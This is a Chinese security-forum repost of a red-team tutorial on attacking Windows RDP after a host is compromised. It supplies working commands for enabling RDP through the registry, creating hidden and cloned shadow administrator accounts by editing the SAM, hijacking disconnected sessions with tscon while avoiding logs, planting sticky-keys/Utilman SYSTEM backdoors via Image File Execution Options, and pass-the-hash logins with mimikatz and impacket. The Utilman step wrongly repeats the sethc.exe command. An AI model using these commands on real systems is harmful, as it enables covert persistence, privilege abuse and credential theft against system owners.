安全矩阵

 找回密码
 立即注册
搜索
查看: 2869|回复: 0

红队攻击-对RDP常规操作

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 20:11:28 | 显示全部楼层 |阅读模式
原文链接:红队攻击-对RDP常规操作
前言

rdp服务是我们常用的服务,可以不是3389端口,可以改成任意端口,时候为了利用它,必须先找出来服务端口,毕竟管理员也鸡贼。
查看rdp服务端口

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
得到连接端口为 0xd3d,转换后为 3389
开启rdp服务
老版本和新版windows版本不一样
windows server 2003

开启:REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f关闭:REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f开启:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fwindows server 2008

开启:REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f如果还不行,就防火墙放行rdp服务端口,就可以连接了。


增加影子用户
1.1 前言
在红队活动中,红队人员当拿到一个windows服务器往往为了获取更多有用的东西或进行一波操作,会开启3389,这时候如果当前用户在线,如果用当前的用户账户去连,会把session挤掉,容易引起管理员警觉,这时候一般都会去添加用户,把用户提升为管理员权限,这时候添加一个隐藏的用户和克隆管理员用户手法就很重要。
1.2 实操
在windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏
例如:

我这里添加了一个普通用户,但是用net user命令却看不懂此用户。
但实际上确实是存在的

但一般的话,我们可以直接更改guest用户权限,将会更加隐蔽。
接下来我们来创建一个影子管理员账户,将更加nice!
打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM\ 键,右键设置权限:

因为这里我们需要更改SAM,但是系统默认只能system修改,这里必须改成管理员也能修改才行。
再次打开注册表,查看各个用户的类型值

发现每个用户的类型值都不一样,而管理员用户和Guest用户都是0X1f开头的,而这几个键值正好对应着上面的键,选择管理员对应的,把F键值复制了

然后打开admin$用户对应的,粘贴进去,然后保存。


然后把右键Names中的admin$和000003EB两个目录,选择导出,将注册表导出。
最后一步很重要,为了不让出现在组里面,必须删除用户

net user admin$ /del
再双击刚才导出的两个注册表,重新注册admin$用户,这样权限也是administators影子账户就创建好了。

RDP会话劫持
2.1 前言
在我们拿到主机系统权限时,但是我们没有拿到管理员的凭据,增加用户又动静太大,但是我们通过rdp连接记录发现,管理员3天前(3天之内吧,前提是没有更改组策略设置以使用户断开RDP会话后立即或短期注销,而是使“断开连接的”远程桌面会话长时间处于休眠状态)通过rdp登陆过此系统,那么我们就可以通过rdp劫持的方式,来“恢复”先前断开的RDP会话,而这种的好处就是攻击者会逃避事件监视器,因为攻击者并没有创建新的会话,而是有效地充当被劫持会话的用户,取而代之,所以日志文件中无法显示会话劫持记录,也记录不到。
2.2 实操
远程桌面协议(RDP),为系统管理员提供了一种方便的方法来管理Windows系统并帮助用户解决问题。
前提:system权限可以以无凭据的方式在不同的用户会话之间切换
2.3 无密码劫持
这里我们利用Windows自带的Tscon.exe程序来进行RDP劫持,Tscon.exe可以使用户可以连接到系统上的其他远程桌面会话,或在不同的会话之间切换。
适用于:
Applies to: Windows Server (Semi-Annual Channel), Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012
微软介绍:
https://docs.microsoft.com/en-us ... 2-and-2012/dn283323(v=ws.11)

tscon {<SessionID> | <SessionName>} [/dest:<SessionName>] [/password:<pw> | /password:*] [/v]
实操:
query user 查看所有已连接的RDP用户
然后连接到此会话
tscon 1#会话id

相关工具:https://github.com/bohops/SharpRDPHijack
minikatz也可以作会话劫持
RDP后门方法
粘滞键
该功能是操作系统内置的可访问性功能,并且可以进行预登录(在登录屏幕上,通过物理控制台或通过远程桌面)。
将Sethc.exe(粘滞键)设置为生成cmd.exe,那么rdp连接就会拥有一个system权限后门
1.通过安全模式来更改(需要重启,不推荐)
2.通过注册表来更改,或者手工去系统目录下去改名
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
然后进入rdp连接,连按几次F5
Utilman
和粘滞键完全相同,只是使用了trojan utilman.exe,在登录屏幕上,按Windows键+ U,您将获得一个cmd.exe窗口,权限为SYSTEM。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

4.PTH RDP
4.1 前言
有时候抓不到明文密码,也想登陆rdp服务咋办?这时候就可以PTH RDP,利用hash去认证rdp服务。
关于RDP协议的参考资料:
https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation
如果使用hash远程登录RDP,服务端需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启,Client 也需要支持Restricted Admin mode。
手动修改注册表开启方法
位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
  1. REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

  2. 查看是否已开启

  3. REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
复制代码


查看是否已开启REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"使用minikatz来进行PTH
  1. <code>privilege::debug
  2. </code><code>sekurlsa::pth /user:admin /domain:DESKTOP /ntlm:hash"/run:mstsc.exe /restrictedadmin"</code>
复制代码


也可以用Python实现(rdp_check.py)
代码地址:
  1. https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py
复制代码


脚本运行前需要安装Impacket
  1. rdp_check.py /administrator@192.168.1.1 -hashes:hashes
复制代码


总结
Rdp爆破就不说了


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:49 , Processed in 0.012886 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表